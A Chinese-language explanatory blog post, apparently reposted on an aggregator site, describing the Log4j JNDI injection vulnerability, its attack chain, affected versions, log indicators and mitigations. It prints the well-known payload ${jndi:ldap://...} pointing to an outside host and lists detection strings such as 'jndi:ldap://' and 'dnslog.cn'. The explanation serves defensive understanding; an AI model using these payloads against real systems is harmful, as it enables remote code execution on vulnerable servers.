log4j漏洞详解

这篇具有很好参考价值的文章主要介绍了log4j漏洞详解。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一.什么是log4j?

log4j全名就是(log for java),就是apache的一个开源的日志记录组件 ,它在Java项目中使用的比较广泛。

使用方法:

                1.pom引入依赖

                2.获取logger实例

                3.logger.info() debug() error() warn()...

优点:功能丰富,易于集成

二.排查log4j

哈哈,先来检查一下你们公司有没有log4j的漏洞,估计都是修复了,当时可是掀起血雨腥风啊

1.pom检查

2.可以通过日志中是否存在"jndi:ladp://"、"jndi:rmi://","dnslog.cn",等字符来看看有没有别人在搞你

3.检查日志中是否有相关堆栈报错,堆栈中是否有一些JndiLookup,LdapURLContext等与JNDI调用相关的堆栈信息。

三.什么是JNDI注入

    JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,举个例子:它就相当于的你的一个秘书,用了一些手段,你可以去指使他去干一些事情,这个手段就是lookup(),相当于你给秘书一个目标。

log4j漏洞,java,开发语言,分布式

 四.什么是命名应用(JNDI naming Reference)

先给这些名词简单说一下

Ldap:你可以将它理解为一个目标数据库。

然后这个命名引用就是:

1.在这个目标数据库(LDAP)中可以存储一个外部的资源,对应的Reference类

比如说HTTP服务的一个.class文件

2.如果JNDI客户端,在LDAP服务上找不到对应的资源,就会到指定的地址请求数据,如果是命名引用的,就会将这个文件下载到本地。

3.如果你下载的这个.class文件包含无参构造函数或者静态方法块,那么加载的时候他会自动执行

四.漏洞原理

首先先来看一下网络上流传最多的payload

${jndi:ldap://2lnhn2.ceye.io}

在java中最常用的日志框架是log4j2和logback,其中log4j2支持lookup功能(查找搜索),这也是一个非常强大的功能,设计之初的目的也是为了方便开发者调用,还支持输出系统环境变量等功能,这样极大的方便了开发者。但是安全问题往往就是因为“开发人员图快捷”引起的,毕竟设计者也是需要在安全性和用户体验之间做个平衡,但是如果只是打印日志的话没没有什么危害,但是,打印系统变量这种对系统而言构不成什么威胁。最终要的原因是log4j还支持JNDI协议。而且这个JNDI协议中还支持lookup()方法,那么这个漏洞就危害比较大了。

整个攻击链:

攻击者在漏洞点注入表达式如${jndi:ldap://xxx.xxx.xxx/exploit}---》然后log4j2支持lookup()方法----》log4j2支持JNDI------》 ldap/rmi 远程加载攻击者服务器上的class文件构建对象(LDAP/RMI中有个命名引用功能) -----》寻找本地的恶意代码并执行

漏洞条件

1.使用了log4j的组件,并且版本在2.x <= 2.14.1

2.JDK版本小于8u191,7u201,6u211

漏洞修复与防御

等你把上面看完了,你也就知道怎么去修复了,欢迎补充!!!

1.禁止用户请求参数出现攻击关键字

2.禁止Lookup下载远程文件(命名引用)

3.禁止log4j使用Lookup

4.禁止log4j的应用连接 外网

5.可以直接在log4j jar包中删除lookup (2.10以下)文章来源地址https://www.toymoban.com/news/detail-597776.html

到了这里,关于log4j漏洞详解的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 网络安全 log4j漏洞复现

    前言: log4j被爆出“史诗级”漏洞。其危害非常大,影响非常广。该漏洞非常容易利用,可以执行任意代码。这个漏洞的影响可谓是重量级的。 漏洞描述: 由于Apache Log4j存在递归解析功能,未取得身份认证的用户,可以从远程发送数据请求输入数据日志,轻松触发漏洞,最

    2024年02月09日
    浏览(59)
  • 017-信息打点-语言框架&开发组件&FastJson&Shiro&Log4j&SpringBoot等

    1、CMS指纹识别-不出网程序识别 2、开发框架识别-PHPPythonJava 3、开发组件识别-Java常见安全漏洞组件 解决: 1、CMS识别到后期漏洞利用和代码审计 2、开发框架识别到后期漏洞利用和代码审计 3、开发组件识别到后期漏洞利用和代码审计 演示案例: ➢指纹识别-本地工具-GotoSc

    2024年01月21日
    浏览(46)
  • fastJson反序列化漏洞和log4j漏洞

    有 attach.class (编译好的文件) 攻击者建立rmi服务端,于rmi服务端建造一系列攻击对象 ,假设远程地址为 http://abc,可url链接到恶意class-attach.class 若被攻击者访问到此服务 rmi://abc/attach.class ,静态代码块会优先加载,无需构造对象。 fastJson通过序列化漏洞 fastJson=1.2.47 (高版本添

    2024年02月16日
    浏览(55)
  • 深入解析著名的阿里云Log4j 漏洞

    几乎每个系统都会使用日志框架,用于记录日志信息,这些信息可以提供程序运行的上下文,但是日志过多也会影响系统的性能,所以好的日志框架应该是可靠,快速和可扩展的。 Apache Log4j2 是一个基于 Java 的日志工具,是Log4j的升级版本,引入了很多丰富的特性,包括高性

    2024年02月16日
    浏览(49)
  • 【实战】一次简单的log4j漏洞测试

    更新时间:2021.12.19 参考文档:https://www.yuque.com/u8021480/crow/dg9xax 在去年 log4j 漏洞刚爆发的时候,很多平台都存在漏洞,当时也在第一时间在有授权的情况下对某论坛进行了渗透测试,结果发现存在漏洞,报告之后,漏洞也被很快修复。 本次对该渗透过程进行一个简单的记录

    2023年04月26日
    浏览(47)
  • 修复中间件log4j漏洞方案(直接更换漏洞jar包)

    后台服务里面的log4j漏洞我们已经全部升级处理了,但是一些中间件镜像包里的log4j漏洞需要单独处理 解决办法以ElasticSearch7.6.2为例: (1)找到容器里面有哪些旧的log4j依赖包 (2)去官网找到对应新版本的依赖包 (3)把新的依赖包复制到和旧的同文件夹下 (4)删除旧的依

    2024年02月10日
    浏览(51)
  • Java中的Log4j是什么?如何使用Log4j进行日志管理

    Log4j是一个Java日志管理工具,它可以帮助开发者在应用程序中记录日志。它是由Apache软件基金会开发和维护的,已经成为Java开发中最流行的日志管理框架之一。 Log4j可以通过多种方式记录日志,包括控制台输出、文件输出、数据库存储等。此外,Log4j还提供了多种日志级别,

    2024年02月04日
    浏览(55)
  • Web网络安全-----Log4j高危漏洞原理及修复

    Web网络安全-----红蓝攻防之信息收集 Log4j 即 log for java(java的日志) ,是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;

    2024年02月10日
    浏览(50)
  • CVE-2021-44228 Apache log4j 远程命令执行漏洞

    一、漏洞原理 log4j(log for java)是由Java编写的可靠、灵活的日志框架,是Apache旗下的一个开源项目,使用Log4j,我们更加方便的记录了日志信息,它不但能控制日志输出的目的地,也能控制日志输出的内容格式;通过定义不同的日志级别,可以更加精确的控制日志的生成过程,

    2024年02月08日
    浏览(52)
  • Web攻防--JNDI注入--Log4j漏洞--Fastjson反序列化漏洞

    什么是JNDI JNDI全称为 Java Naming and Directory Interface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。 JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。 简单从安全角度

    2024年02月09日
    浏览(45)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包